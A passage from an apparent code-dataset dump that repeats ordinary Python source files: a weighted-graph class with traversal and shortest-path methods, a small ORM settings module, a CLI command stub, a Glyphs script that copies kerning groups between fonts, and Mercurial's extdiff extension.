KeyError: raise ValueError('Edge is not in the graph.') def has_node(self, val): """Check if the given value is in the graph.""" return val in self.graph def neighbors(self, val): """List all nodes the node of the given value connects to.""" if val not in self.nodes(): raise ValueError('Value is not in the graph.') return list(self.graph[val]) def adjacent(self, val1, val2): """Check if there is an edge connecting the nodes with given values.""" if val1 not in self.nodes() or val2 not in self.nodes(): raise ValueError('Value is not in the graph.') return val2 in self.graph[val1] def breadth_first_traversal(self, start_val): """Get the full visited path of a breadth first traversal.""" if start_val not in self.graph: raise ValueError('Value is not in the graph.') result = [start_val] row = [start_val] while row: nxt_row = [] for node in row: neighbors = self.graph[node] for neighbor in neighbors: if neighbor not in result: nxt_row.append(neighbor) result.append(neighbor) row = nxt_row return result def depth_first_traversal(self, start_val): """Get the full visited path of a depth first traversal.""" def dive(val, path): neighbors = self.graph[val] for node in neighbors: if node not in path: path.append(node) dive(node, path) if start_val not in self.graph: raise ValueError('Value is not in the graph.') result = [start_val] dive(start_val, result) return result def dijkstra_min(self, start, end): """Find the shortest path from the starting to ending node. Uses Dijkstra's algorithm to determine the path. """ if start not in self.graph or end not in self.graph: raise ValueError('Node not in graph.') if start == end: return [start] final = {start: (0, start)} search = {n: (float('inf'), None) for n in self.graph if n != start} curr = start while search: path = final[curr][0] neighbors = {n: self.graph[curr][n] for n in self.graph[curr] if n not in final} for n in neighbors: if path + neighbors[n] < search[n][0]: search[n] = (path + neighbors[n], curr) curr = min(search, key=lambda n: search[n][0]) final[curr] = search[curr] del search[curr] if curr == end: break min_path = [end] curr = end prev = final[curr][1] if prev is None: raise ValueError('Start and end do not connect.') while curr != prev: min_path.append(prev) curr = prev prev = final[curr][1] return list(reversed(min_path)) def bellman_ford_min(self, start, end): """Find the shortest path from the starting to ending node. Uses Bellman Ford's algorithm to determine the path. """ if start not in self.graph or end not in self.graph: raise ValueError('Node not in graph.') if start == end: return [start] distance = {n: float('inf') for n in self.graph} parent = {n: None for n in self.graph} distance[start] = 0 for _ in range(len(self.graph) - 1): for edge_start, edge_end, weight in self.edges(): if distance[edge_end] > distance[edge_start] + weight: distance[edge_end] = distance[edge_start] + weight parent[edge_end] = edge_start min_path = [] curr = end if parent[curr] is None: raise ValueError('Start and end do not connect.') while curr is not None: min_path.append(curr) curr = parent[curr] return list(reversed(min_path))

"""Implement a weighted graph.""" class Graph(object): """Structure for values in a weighted graph.""" def __init__(self): """Create a graph with no values.""" self.graph = {} def nodes(self): """Get all nodes in the graph to display in list form.""" return list(self.graph) def edges(self): """Get all edges in graph to display in list of tuples with weights.""" edge_list = [] for start in self.graph: for end in self.graph[start]: edge_list.append((start, end, self.graph[start][end])) return edge_list def add_node(self, val): """Add a node with a value to the graph.""" self.graph.setdefault(val, {}) def add_edge(self, val1, val2, weight): """Add an edge from val1 to val2 with the given weight. If the node for either value does not exist, it is added to the graph. """ if val1 == val2: raise ValueError('Edge needs two different values.') self.add_node(val1) self.add_node(val2) self.graph[val1][val2] = weight def del_node(self, val): """Remove the node with the given value from the graph. Also removes all edges connected to the node. """ if val not in self.graph: raise ValueError('Value is not in the graph.') del self.graph[val] for node in self.graph: if val in self.graph[node]: del self.graph[node][val] def del_edge(self, val1, val2): """Remove the edge connecting node of val1 to node of val2.""" try: del self.graph[val1][val2] except KeyError: raise ValueError('Edge is not in the graph.') def has_node(self, val): """Check if the given value is in the graph.""" return val in self.graph def neighbors(self, val): """List all nodes the node of the given value connects to.""" if val not in self.nodes(): raise ValueError('Value is not in the graph.') return list(self.graph[val]) def adjacent(self, val1, val2): """Check if there is an edge connecting the nodes with given values.""" if val1 not in self.nodes() or val2 not in self.nodes(): raise ValueError('Value is not in the graph.') return val2 in self.graph[val1] def breadth_first_traversal(self, start_val): """Get the full visited path of a breadth first traversal.""" if start_val not in self.graph: raise ValueError('Value is not in the graph.') result = [start_val] row = [start_val] while row: nxt_row = [] for node in row: neighbors = self.graph[node] for neighbor in neighbors: if neighbor not in result: nxt_row.append(neighbor) result.append(neighbor) row = nxt_row return result def depth_first_traversal(self, start_val): """Get the full visited path of a depth first traversal.""" def dive(val, path): neighbors = self.graph[val] for node in neighbors: if node not in path: path.append(node) dive(node, path) if start_val not in self.graph: raise ValueError('Value is not in the graph.') result = [start_val] dive(start_val, result) return result def dijkstra_min(self, start, end): """Find the shortest path from the starting to ending node. Uses Dijkstra's algorithm to determine the path. """ if start not in self.graph or end not in self.graph: raise ValueError('Node not in graph.') if start == end: return [start] final = {start: (0, start)} search = {n: (float('inf'), None) for n in self.graph if n != start} curr = start while search: path = final[curr][0] neighbors = {n: self.graph[curr][n] for n in self.graph[curr] if n not in final} for n in neighbors: if path + neighbors[n] < search[n][0]: search[n] = (path + neighbors[n], curr) curr = min(search, key=lambda n: search[n][0]) final[curr] = search[curr] del search[curr] if curr == end: break min_path = [end] curr = end prev = final[curr][1] if prev is None: raise ValueError('Start and end do not connect.') while curr != prev: min_path.append(prev) curr = prev prev = final[curr][1] return list(reversed(min_path)) def bellman_ford_min(self, start, end): """Find the shortest path from the starting to ending node. Uses Bellman Ford's algorithm to determine the path. """ if start not in self.graph or end not in self.graph: raise ValueError('Node not in graph.') if start == end: return [start] distance = {n: float('inf') for n in self.graph} parent = {n: None for n in self.graph} distance[start] = 0 for _ in range(len(self.graph) - 1): for edge_start, edge_end, weight in self.edges(): if distance[edge_end] > distance[edge_start] + weight: distance[edge_end] = distance[edge_start] + weight parent[edge_end] = edge_start min_path = [] curr = end if parent[curr] is None: raise ValueError('Start and end do not connect.') while curr is not None: min_path.append(curr) curr = parent[curr] return list(reversed(min_path))

pt

sqlitedb/settings.py

BelovN/orm

13588

<filename>sqlitedb/settings.py<gh_stars>1-10 class BaseCommand: def __init__(self, table_name): self.table_name = table_name self._can_add = True @staticmethod def _convert_values(values): converted = [SQLType.convert(v) for v in values] return converted def check_intersection(self, other): return self.where.check_intersection(other) DB_NAME = 'database.db'

<filename>sqlitedb/settings.py<gh_stars>1-10 class BaseCommand: def __init__(self, table_name): self.table_name = table_name self._can_add = True @staticmethod def _convert_values(values): converted = [SQLType.convert(v) for v in values] return converted def check_intersection(self, other): return self.where.check_intersection(other) DB_NAME = 'database.db'

none

hon/commands/clean.py

swquinn/hon

13589

import click from ..cli import with_context @click.command('clean', short_help="Cleans a book' output directories") @with_context def clean_command(ctx=None): pass

import click from ..cli import with_context @click.command('clean', short_help="Cleans a book' output directories") @with_context def clean_command(ctx=None): pass

none

Kerning/Steal Kerning Groups from Font.py

justanotherfoundry/Glyphs-Scripts

13590

#MenuTitle: Steal Kerning Groups from Font """Copy kerning groups from one font to another.""" from __future__ import print_function import vanilla class GroupsCopy(object): """GUI for copying kerning groups from one font to another""" def __init__(self): self.w = vanilla.FloatingWindow((400, 70), "Steal kerning groups") self.w.text_anchor = vanilla.TextBox((15, 12+2, 130, 14), "Copy groups from:", sizeStyle='small') self.w.from_font = vanilla.PopUpButton((150, 12, 150, 17), self.GetFonts(isSourceFont=True), sizeStyle='small', callback=self.buttonCheck) self.w.text_value = vanilla.TextBox((15, 12+2+25, 130, 14), "To selected glyphs in:", sizeStyle='small') self.w.to_font = vanilla.PopUpButton((150, 12+25, 150, 17), self.GetFonts(isSourceFont=False), sizeStyle='small', callback=self.buttonCheck) self.w.copybutton = vanilla.Button((-80, 12+25, -15, 17), "Copy", sizeStyle='small', callback=self.copyGroups) self.w.setDefaultButton( self.w.copybutton ) self.w.open() self.buttonCheck(None) def GetFonts(self, isSourceFont): myFontList = [ "%s - %s" % ( x.font.familyName, x.selectedFontMaster().name ) for x in Glyphs.orderedDocuments() ] if isSourceFont: myFontList.reverse() return myFontList def buttonCheck(self, sender): fromFont = self.w.from_font.getItems()[ self.w.from_font.get() ] toFont = self.w.to_font.getItems()[ self.w.to_font.get() ] if fromFont == toFont: self.w.copybutton.enable( onOff=False ) else: self.w.copybutton.enable( onOff=True ) def copyGroups(self, sender): fromFont = self.w.from_font.getItems()[ self.w.from_font.get() ] toFont = self.w.to_font.getItems()[ self.w.to_font.get() ] Doc_source = [ x for x in Glyphs.orderedDocuments() if ("%s - %s" % ( x.font.familyName, x.selectedFontMaster().name )) == fromFont ][0] Master_source = Doc_source.selectedFontMaster().id Font_source = Doc_source.font Font_target = [ x.font for x in Glyphs.orderedDocuments() if ("%s - %s" % ( x.font.familyName, x.selectedFontMaster().name )) == toFont ][0] Glyphs_selected = [ x.parent for x in Font_target.parent.selectedLayers() ] print("Syncing kerning groups for", len(Glyphs_selected), "glyphs from", Font_source.familyName, "to", Font_target.familyName, ":") try: for thisGlyph in Glyphs_selected: glyphName = thisGlyph.name try: sourceGlyph = Font_source.glyphs[ glyphName ] oldL = thisGlyph.leftKerningGroup oldR = thisGlyph.rightKerningGroup newL = sourceGlyph.leftKerningGroup newR = sourceGlyph.rightKerningGroup if oldL != newL or oldR != newR: thisGlyph.leftKerningGroup = newL thisGlyph.rightKerningGroup = newR print(" ", glyphName, ":", newL, "<--->", newR) # start: temporary fix for 3.0.3 unwrapped vertical kerning def kerningGetter(kerning): if kerning is not None and not isinstance(kerning, str): kerning = kerning() return kerning # end: temporary fix for 3.0.3 unwrapped vertical kerning oldT = kerningGetter(thisGlyph.topKerningGroup) oldB = kerningGetter(thisGlyph.bottomKerningGroup) newT = kerningGetter(sourceGlyph.topKerningGroup) newB = kerningGetter(sourceGlyph.bottomKerningGroup) if oldT != newT or oldB != newB: thisGlyph.leftKerningGroup = newL thisGlyph.setTopKerningGroup_(newT) thisGlyph.setBottomKerningGroup_(newB) print(" ", glyphName, ":", newT, "\n ^\n |\n V\n", newB) pass except Exception as e: print(" ", glyphName,": Error") # print e except Exception as e: import traceback print(traceback.format_exc()) finally: print("Done.") self.w.close() GroupsCopy()

#MenuTitle: Steal Kerning Groups from Font """Copy kerning groups from one font to another.""" from __future__ import print_function import vanilla class GroupsCopy(object): """GUI for copying kerning groups from one font to another""" def __init__(self): self.w = vanilla.FloatingWindow((400, 70), "Steal kerning groups") self.w.text_anchor = vanilla.TextBox((15, 12+2, 130, 14), "Copy groups from:", sizeStyle='small') self.w.from_font = vanilla.PopUpButton((150, 12, 150, 17), self.GetFonts(isSourceFont=True), sizeStyle='small', callback=self.buttonCheck) self.w.text_value = vanilla.TextBox((15, 12+2+25, 130, 14), "To selected glyphs in:", sizeStyle='small') self.w.to_font = vanilla.PopUpButton((150, 12+25, 150, 17), self.GetFonts(isSourceFont=False), sizeStyle='small', callback=self.buttonCheck) self.w.copybutton = vanilla.Button((-80, 12+25, -15, 17), "Copy", sizeStyle='small', callback=self.copyGroups) self.w.setDefaultButton( self.w.copybutton ) self.w.open() self.buttonCheck(None) def GetFonts(self, isSourceFont): myFontList = [ "%s - %s" % ( x.font.familyName, x.selectedFontMaster().name ) for x in Glyphs.orderedDocuments() ] if isSourceFont: myFontList.reverse() return myFontList def buttonCheck(self, sender): fromFont = self.w.from_font.getItems()[ self.w.from_font.get() ] toFont = self.w.to_font.getItems()[ self.w.to_font.get() ] if fromFont == toFont: self.w.copybutton.enable( onOff=False ) else: self.w.copybutton.enable( onOff=True ) def copyGroups(self, sender): fromFont = self.w.from_font.getItems()[ self.w.from_font.get() ] toFont = self.w.to_font.getItems()[ self.w.to_font.get() ] Doc_source = [ x for x in Glyphs.orderedDocuments() if ("%s - %s" % ( x.font.familyName, x.selectedFontMaster().name )) == fromFont ][0] Master_source = Doc_source.selectedFontMaster().id Font_source = Doc_source.font Font_target = [ x.font for x in Glyphs.orderedDocuments() if ("%s - %s" % ( x.font.familyName, x.selectedFontMaster().name )) == toFont ][0] Glyphs_selected = [ x.parent for x in Font_target.parent.selectedLayers() ] print("Syncing kerning groups for", len(Glyphs_selected), "glyphs from", Font_source.familyName, "to", Font_target.familyName, ":") try: for thisGlyph in Glyphs_selected: glyphName = thisGlyph.name try: sourceGlyph = Font_source.glyphs[ glyphName ] oldL = thisGlyph.leftKerningGroup oldR = thisGlyph.rightKerningGroup newL = sourceGlyph.leftKerningGroup newR = sourceGlyph.rightKerningGroup if oldL != newL or oldR != newR: thisGlyph.leftKerningGroup = newL thisGlyph.rightKerningGroup = newR print(" ", glyphName, ":", newL, "<--->", newR) # start: temporary fix for 3.0.3 unwrapped vertical kerning def kerningGetter(kerning): if kerning is not None and not isinstance(kerning, str): kerning = kerning() return kerning # end: temporary fix for 3.0.3 unwrapped vertical kerning oldT = kerningGetter(thisGlyph.topKerningGroup) oldB = kerningGetter(thisGlyph.bottomKerningGroup) newT = kerningGetter(sourceGlyph.topKerningGroup) newB = kerningGetter(sourceGlyph.bottomKerningGroup) if oldT != newT or oldB != newB: thisGlyph.leftKerningGroup = newL thisGlyph.setTopKerningGroup_(newT) thisGlyph.setBottomKerningGroup_(newB) print(" ", glyphName, ":", newT, "\n ^\n |\n V\n", newB) pass except Exception as e: print(" ", glyphName,": Error") # print e except Exception as e: import traceback print(traceback.format_exc()) finally: print("Done.") self.w.close() GroupsCopy()

pt

eggs/mercurial-2.2.3-py2.7-linux-x86_64-ucs4.egg/hgext/extdiff.py

bopopescu/phyG

13591

# extdiff.py - external diff program support for mercurial # # Copyright 2006 <NAME> <<EMAIL>> # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. '''command to allow external programs to compare revisions The extdiff Mercurial extension allows you to use external programs to compare revisions, or revision with working directory. The external diff programs are called with a configurable set of options and two non-option arguments: paths to directories containing snapshots of files to compare. The extdiff extension also allows you to configure new diff commands, so you do not need to type :hg:`extdiff -p kdiff3` always. :: [extdiff] # add new command that runs GNU diff(1) in 'context diff' mode cdiff = gdiff -Nprc5 ## or the old way: #cmd.cdiff = gdiff #opts.cdiff = -Nprc5 # add new command called vdiff, runs kdiff3 vdiff = kdiff3 # add new command called meld, runs meld (no need to name twice) meld = # add new command called vimdiff, runs gvimdiff with DirDiff plugin # (see http://www.vim.org/scripts/script.php?script_id=102) Non # English user, be sure to put "let g:DirDiffDynamicDiffText = 1" in # your .vimrc vimdiff = gvim -f "+next" \\ "+execute 'DirDiff' fnameescape(argv(0)) fnameescape(argv(1))" Tool arguments can include variables that are expanded at runtime:: $parent1, $plabel1 - filename, descriptive label of first parent $child, $clabel - filename, descriptive label of child revision $parent2, $plabel2 - filename, descriptive label of second parent $root - repository root $parent is an alias for $parent1. The extdiff extension will look in your [diff-tools] and [merge-tools] sections for diff tool arguments, when none are specified in [extdiff]. :: [extdiff] kdiff3 = [diff-tools] kdiff3.diffargs=--L1 '$plabel1' --L2 '$clabel' $parent $child You can use -I/-X and list of file or directory names like normal :hg:`diff` command. The extdiff extension makes snapshots of only needed files, so running the external diff program will actually be pretty fast (at least faster than having to compare the entire tree). ''' from mercurial.i18n import _ from mercurial.node import short, nullid from mercurial import scmutil, scmutil, util, commands, encoding import os, shlex, shutil, tempfile, re def snapshot(ui, repo, files, node, tmproot): '''snapshot files as of some revision if not using snapshot, -I/-X does not work and recursive diff in tools like kdiff3 and meld displays too many files.''' dirname = os.path.basename(repo.root) if dirname == "": dirname = "root" if node is not None: dirname = '%s.%s' % (dirname, short(node)) base = os.path.join(tmproot, dirname) os.mkdir(base) if node is not None: ui.note(_('making snapshot of %d files from rev %s\n') % (len(files), short(node))) else: ui.note(_('making snapshot of %d files from working directory\n') % (len(files))) wopener = scmutil.opener(base) fns_and_mtime = [] ctx = repo[node] for fn in files: wfn = util.pconvert(fn) if not wfn in ctx: # File doesn't exist; could be a bogus modify continue ui.note(' %s\n' % wfn) dest = os.path.join(base, wfn) fctx = ctx[wfn] data = repo.wwritedata(wfn, fctx.data()) if 'l' in fctx.flags(): wopener.symlink(data, wfn) else: wopener.write(wfn, data) if 'x' in fctx.flags(): util.setflags(dest, False, True) if node is None: fns_and_mtime.append((dest, repo.wjoin(fn), os.lstat(dest).st_mtime)) return dirname, fns_and_mtime def dodiff(ui, repo, diffcmd, diffopts, pats, opts): '''Do the actuall diff: - copy to a temp structure if diffing 2 internal revisions - copy to a temp structure if diffing working revision with another one and more than 1 file is changed - just invoke the diff for a single file in the working dir ''' revs = opts.get('rev') change = opts.get('change') args = ' '.join(diffopts) do3way = '$parent2' in args if revs and change: msg = _('cannot specify --rev and --change at the same time') raise util.Abort(msg) elif change: node2 = scmutil.revsingle(repo, change, None).node() node1a, node1b = repo.changelog.parents(node2) else: node1a, node2 = scmutil.revpair(repo, revs) if not revs: node1b = repo.dirstate.p2() else: node1b = nullid # Disable 3-way merge if there is only one parent if do3way: if node1b == nullid: do3way = False matcher = scmutil.match(repo[node2], pats, opts) mod_a, add_a, rem_a = map(set, repo.status(node1a, node2, matcher)[:3]) if do3way: mod_b, add_b, rem_b = map(set, repo.status(node1b, node2, matcher)[:3]) else: mod_b, add_b, rem_b = set(), set(), set() modadd = mod_a | add_a | mod_b | add_b common = modadd | rem_a | rem_b if not common: return 0 tmproot = tempfile.mkdtemp(prefix='extdiff.') try: # Always make a copy of node1a (and node1b, if applicable) dir1a_files = mod_a | rem_a | ((mod_b | add_b) - add_a) dir1a = snapshot(ui, repo, dir1a_files, node1a, tmproot)[0] rev1a = '@%d' % repo[node1a].rev() if do3way: dir1b_files = mod_b | rem_b | ((mod_a | add_a) - add_b) dir1b = snapshot(ui, repo, dir1b_files, node1b, tmproot)[0] rev1b = '@%d' % repo[node1b].rev() else: dir1b = None rev1b = '' fns_and_mtime = [] # If node2 in not the wc or there is >1 change, copy it dir2root = '' rev2 = '' if node2: dir2 = snapshot(ui, repo, modadd, node2, tmproot)[0] rev2 = '@%d' % repo[node2].rev() elif len(common) > 1: #we only actually need to get the files to copy back to #the working dir in this case (because the other cases #are: diffing 2 revisions or single file -- in which case #the file is already directly passed to the diff tool). dir2, fns_and_mtime = snapshot(ui, repo, modadd, None, tmproot) else: # This lets the diff tool open the changed file directly dir2 = '' dir2root = repo.root label1a = rev1a label1b = rev1b label2 = rev2 # If only one change, diff the files instead of the directories # Handle bogus modifies correctly by checking if the files exist if len(common) == 1: common_file = util.localpath(common.pop()) dir1a = os.path.join(tmproot, dir1a, common_file) label1a = common_file + rev1a if not os.path.isfile(dir1a): dir1a = os.devnull if do3way: dir1b = os.path.join(tmproot, dir1b, common_file) label1b = common_file + rev1b if not os.path.isfile(dir1b): dir1b = os.devnull dir2 = os.path.join(dir2root, dir2, common_file) label2 = common_file + rev2 # Function to quote file/dir names in the argument string. # When not operating in 3-way mode, an empty string is # returned for parent2 replace = dict(parent=dir1a, parent1=dir1a, parent2=dir1b, plabel1=label1a, plabel2=label1b, clabel=label2, child=dir2, root=repo.root) def quote(match): key = match.group()[1:] if not do3way and key == 'parent2': return '' return util.shellquote(replace[key]) # Match parent2 first, so 'parent1?' will match both parent1 and parent regex = '\$(parent2|parent1?|child|plabel1|plabel2|clabel|root)' if not do3way and not re.search(regex, args): args += ' $parent1 $child' args = re.sub(regex, quote, args) cmdline = util.shellquote(diffcmd) + ' ' + args ui.debug('running %r in %s\n' % (cmdline, tmproot)) util.system(cmdline, cwd=tmproot, out=ui.fout) for copy_fn, working_fn, mtime in fns_and_mtime: if os.lstat(copy_fn).st_mtime != mtime: ui.debug('file changed while diffing. ' 'Overwriting: %s (src: %s)\n' % (working_fn, copy_fn)) util.copyfile(copy_fn, working_fn) return 1 finally: ui.note(_('cleaning up temp directory\n')) shutil.rmtree(tmproot) def extdiff(ui, repo, *pats, **opts): '''use external program to diff repository (or selected files) Show differences between revisions for the specified files, using an external program. The default program used is diff, with default options "-Npru". To select a different program, use the -p/--program option. The program will be passed the names of two directories to compare. To pass additional options to the program, use -o/--option. These will be passed before the names of the directories to compare. When two revision arguments are given, then changes are shown between those revisions. If only one revision is specified then that revision is compared to the working directory, and, when no revisions are specified, the working directory files are compared to its parent.''' program = opts.get('program') option = opts.get('option') if not program: program = 'diff' option = option or ['-Npru'] return dodiff(ui, repo, program, option, pats, opts) cmdtable = { "extdiff": (extdiff, [('p', 'program', '', _('comparison program to run'), _('CMD')), ('o', 'option', [], _('pass option to comparison program'), _('OPT')), ('r', 'rev', [], _('revision'), _('REV')), ('c', 'change', '', _('change made by revision'), _('REV')), ] + commands.walkopts, _('hg extdiff [OPT]... [FILE]...')), } def uisetup(ui): for cmd, path in ui.configitems('extdiff'): if cmd.startswith('cmd.'): cmd = cmd[4:] if not path: path = cmd diffopts = ui.config('extdiff', 'opts.' + cmd, '') diffopts = diffopts and [diffopts] or [] elif cmd.startswith('opts.'): continue else: # command = path opts if path: diffopts = shlex.split(path) path = diffopts.pop(0) else: path, diffopts = cmd, [] # look for diff arguments in [diff-tools] then [merge-tools] if diffopts == []: args = ui.config('diff-tools', cmd+'.diffargs') or \ ui.config('merge-tools', cmd+'.diffargs') if args: diffopts = shlex.split(args) def save(cmd, path, diffopts): '''use closure to save diff command to use''' def mydiff(ui, repo, *pats, **opts): return dodiff(ui, repo, path, diffopts + opts['option'], pats, opts) doc = _('''\ use %(path)s to diff repository (or selected files) Show differences between revisions for the specified files, using the %(path)s program. When two revision arguments are given, then changes are shown between those revisions. If only one revision is specified then that revision is compared to the working directory, and, when no revisions are specified, the working directory files are compared to its parent.\ ''') % dict(path=util.uirepr(path)) # We must translate the docstring right away since it is # used as a format string. The string will unfortunately # be translated again in commands.helpcmd and this will # fail when the docstring contains non-ASCII characters. # Decoding the string to a Unicode string here (using the # right encoding) prevents that. mydiff.__doc__ = doc.decode(encoding.encoding) return mydiff cmdtable[cmd] = (save(cmd, path, diffopts), cmdtable['extdiff'][1][1:], _('hg %s [OPTION]... [FILE]...') % cmd)

# extdiff.py - external diff program support for mercurial # # Copyright 2006 <NAME> <<EMAIL>> # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. '''command to allow external programs to compare revisions The extdiff Mercurial extension allows you to use external programs to compare revisions, or revision with working directory. The external diff programs are called with a configurable set of options and two non-option arguments: paths to directories containing snapshots of files to compare. The extdiff extension also allows you to configure new diff commands, so you do not need to type :hg:`extdiff -p kdiff3` always. :: [extdiff] # add new command that runs GNU diff(1) in 'context diff' mode cdiff = gdiff -Nprc5 ## or the old way: #cmd.cdiff = gdiff #opts.cdiff = -Nprc5 # add new command called vdiff, runs kdiff3 vdiff = kdiff3 # add new command called meld, runs meld (no need to name twice) meld = # add new command called vimdiff, runs gvimdiff with DirDiff plugin # (see http://www.vim.org/scripts/script.php?script_id=102) Non # English user, be sure to put "let g:DirDiffDynamicDiffText = 1" in # your .vimrc vimdiff = gvim -f "+next" \\ "+execute 'DirDiff' fnameescape(argv(0)) fnameescape(argv(1))" Tool arguments can include variables that are expanded at runtime:: $parent1, $plabel1 - filename, descriptive label of first parent $child, $clabel - filename, descriptive label of child revision $parent2, $plabel2 - filename, descriptive label of second parent $root - repository root $parent is an alias for $parent1. The extdiff extension will look in your [diff-tools] and [merge-tools] sections for diff tool arguments, when none are specified in [extdiff]. :: [extdiff] kdiff3 = [diff-tools] kdiff3.diffargs=--L1 '$plabel1' --L2 '$clabel' $parent $child You can use -I/-X and list of file or directory names like normal :hg:`diff` command. The extdiff extension makes snapshots of only needed files, so running the external diff program will actually be pretty fast (at least faster than having to compare the entire tree). ''' from mercurial.i18n import _ from mercurial.node import short, nullid from mercurial import scmutil, scmutil, util, commands, encoding import os, shlex, shutil, tempfile, re def snapshot(ui, repo, files, node, tmproot): '''snapshot files as of some revision if not using snapshot, -I/-X does not work and recursive diff in tools like kdiff3 and meld displays too many files.''' dirname = os.path.basename(repo.root) if dirname == "": dirname = "root" if node is not None: dirname = '%s.%s' % (dirname, short(node)) base = os.path.join(tmproot, dirname) os.mkdir(base) if node is not None: ui.note(_('making snapshot of %d files from rev %s\n') % (len(files), short(node))) else: ui.note(_('making snapshot of %d files from working directory\n') % (len(files))) wopener = scmutil.opener(base) fns_and_mtime = [] ctx = repo[node] for fn in files: wfn = util.pconvert(fn) if not wfn in ctx: # File doesn't exist; could be a bogus modify continue ui.note(' %s\n' % wfn) dest = os.path.join(base, wfn) fctx = ctx[wfn] data = repo.wwritedata(wfn, fctx.data()) if 'l' in fctx.flags(): wopener.symlink(data, wfn) else: wopener.write(wfn, data) if 'x' in fctx.flags(): util.setflags(dest, False, True) if node is None: fns_and_mtime.append((dest, repo.wjoin(fn), os.lstat(dest).st_mtime)) return dirname, fns_and_mtime def dodiff(ui, repo, diffcmd, diffopts, pats, opts): '''Do the actuall diff: - copy to a temp structure if diffing 2 internal revisions - copy to a temp structure if diffing working revision with another one and more than 1 file is changed - just invoke the diff for a single file in the working dir ''' revs = opts.get('rev') change = opts.get('change') args = ' '.join(diffopts) do3way = '$parent2' in args if revs and change: msg = _('cannot specify --rev and --change at the same time') raise util.Abort(msg) elif change: node2 = scmutil.revsingle(repo, change, None).node() node1a, node1b = repo.changelog.parents(node2) else: node1a, node2 = scmutil.revpair(repo, revs) if not revs: node1b = repo.dirstate.p2() else: node1b = nullid # Disable 3-way merge if there is only one parent if do3way: if node1b == nullid: do3way = False matcher = scmutil.match(repo[node2], pats, opts) mod_a, add_a, rem_a = map(set, repo.status(node1a, node2, matcher)[:3]) if do3way: mod_b, add_b, rem_b = map(set, repo.status(node1b, node2, matcher)[:3]) else: mod_b, add_b, rem_b = set(), set(), set() modadd = mod_a | add_a | mod_b | add_b common = modadd | rem_a | rem_b if not common: return 0 tmproot = tempfile.mkdtemp(prefix='extdiff.') try: # Always make a copy of node1a (and node1b, if applicable) dir1a_files = mod_a | rem_a | ((mod_b | add_b) - add_a) dir1a = snapshot(ui, repo, dir1a_files, node1a, tmproot)[0] rev1a = '@%d' % repo[node1a].rev() if do3way: dir1b_files = mod_b | rem_b | ((mod_a | add_a) - add_b) dir1b = snapshot(ui, repo, dir1b_files, node1b, tmproot)[0] rev1b = '@%d' % repo[node1b].rev() else: dir1b = None rev1b = '' fns_and_mtime = [] # If node2 in not the wc or there is >1 change, copy it dir2root = '' rev2 = '' if node2: dir2 = snapshot(ui, repo, modadd, node2, tmproot)[0] rev2 = '@%d' % repo[node2].rev() elif len(common) > 1: #we only actually need to get the files to copy back to #the working dir in this case (because the other cases #are: diffing 2 revisions or single file -- in which case #the file is already directly passed to the diff tool). dir2, fns_and_mtime = snapshot(ui, repo, modadd, None, tmproot) else: # This lets the diff tool open the changed file directly dir2 = '' dir2root = repo.root label1a = rev1a label1b = rev1b label2 = rev2 # If only one change, diff the files instead of the directories # Handle bogus modifies correctly by checking if the files exist if len(common) == 1: common_file = util.localpath(common.pop()) dir1a = os.path.join(tmproot, dir1a, common_file) label1a = common_file + rev1a if not os.path.isfile(dir1a): dir1a = os.devnull if do3way: dir1b = os.path.join(tmproot, dir1b, common_file) label1b = common_file + rev1b if not os.path.isfile(dir1b): dir1b = os.devnull dir2 = os.path.join(dir2root, dir2, common_file) label2 = common_file + rev2 # Function to quote file/dir names in the argument string. # When not operating in 3-way mode, an empty string is # returned for parent2 replace = dict(parent=dir1a, parent1=dir1a, parent2=dir1b, plabel1=label1a, plabel2=label1b, clabel=label2, child=dir2, root=repo.root) def quote(match): key = match.group()[1:] if not do3way and key == 'parent2': return '' return util.shellquote(replace[key]) # Match parent2 first, so 'parent1?' will match both parent1 and parent regex = '\$(parent2|parent1?|child|plabel1|plabel2|clabel|root)' if not do3way and not re.search(regex, args): args += ' $parent1 $child' args = re.sub(regex, quote, args) cmdline = util.shellquote(diffcmd) + ' ' + args ui.debug('running %r in %s\n' % (cmdline, tmproot)) util.system(cmdline, cwd=tmproot, out=ui.fout) for copy_fn, working_fn, mtime in fns_and_mtime: if os.lstat(copy_fn).st_mtime != mtime: ui.debug('file changed while diffing. ' 'Overwriting: %s (src: %s)\n' % (working_fn, copy_fn)) util.copyfile(copy_fn, working_fn) return 1 finally: ui.note(_('cleaning up temp directory\n')) shutil.rmtree(tmproot) def extdiff(ui, repo, *pats, **opts): '''use external program to diff repository (or selected files) Show differences between revisions for the specified files, using an external program. The default program used is diff, with default options "-Npru". To select a different program, use the -p/--program option. The program will be passed the names of two directories to compare. To pass additional options to the program, use -o/--option. These will be passed before the names of the directories to compare. When two revision arguments are given, then changes are shown between those revisions. If only one revision is specified then that revision is compared to the working directory, and, when no revisions are specified, the working directory files are compared to its parent.''' program = opts.get('program') option = opts.get('option') if not program: program = 'diff' option = option or ['-Npru'] return dodiff(ui, repo, program, option, pats, opts) cmdtable = { "extdiff": (extdiff, [('p', 'program', '', _('comparison program to run'), _('CMD')), ('o', 'option', [], _('pass option to comparison program'), _('OPT')), ('r', 'rev', [], _('revision'), _('REV')), ('c', 'change', '', _('change made by revision'), _('REV')), ] + commands.walkopts, _('hg extdiff [OPT]... [FILE]...')), } def uisetup(ui): for cmd, path in ui.configitems('extdiff'): if cmd.startswith('cmd.'): cmd = cmd[4:] if not path: path = cmd diffopts = ui.config('extdiff', 'opts.' + cmd, '') diffopts = diffopts and [diffopts] or [] elif cmd.startswith('opts.'): continue else: # command = path opts if path: diffopts = shlex.split(path) path = diffopts.pop(0) else: path, diffopts = cmd, [] # look for diff arguments in [diff-tools] then [merge-tools] if diffopts == []: args = ui.config('diff-tools', cmd+'.diffargs') or \ ui.config('merge-tools', cmd+'.diffargs') if args: diffopts = shlex.split(args) def save(cmd, path, diffopts): '''use closure to save diff command to use''' def mydiff(ui, repo, *pats, **opts): return dodiff(ui, repo, path, diffopts + opts['option'], pats, opts) doc = _('''\ use %(path)s to diff repository (or selected files) Show differences between revisions for the specified files, using the %(path)s program. When two revision arguments are given, then changes are shown between those revisions. If only one revision is specified then that revision is compared to the working directory, and, when no revisions are specified, the working directory files are compared to its parent.\ ''') % dict(path=util.uirepr(path)) # We must translate the docstring right away since it is # used as a format string. The string will unfortunately # be translated again in commands.helpcmd and this will # fail when the docstring contains non-ASCII characters. # Decoding the string to a Unicode string here (using the # right encoding) prevents that. mydiff.__doc__ = doc.decode(encoding.encoding) return mydiff cmdtable[cmd] = (save(cmd, path, diffopts), 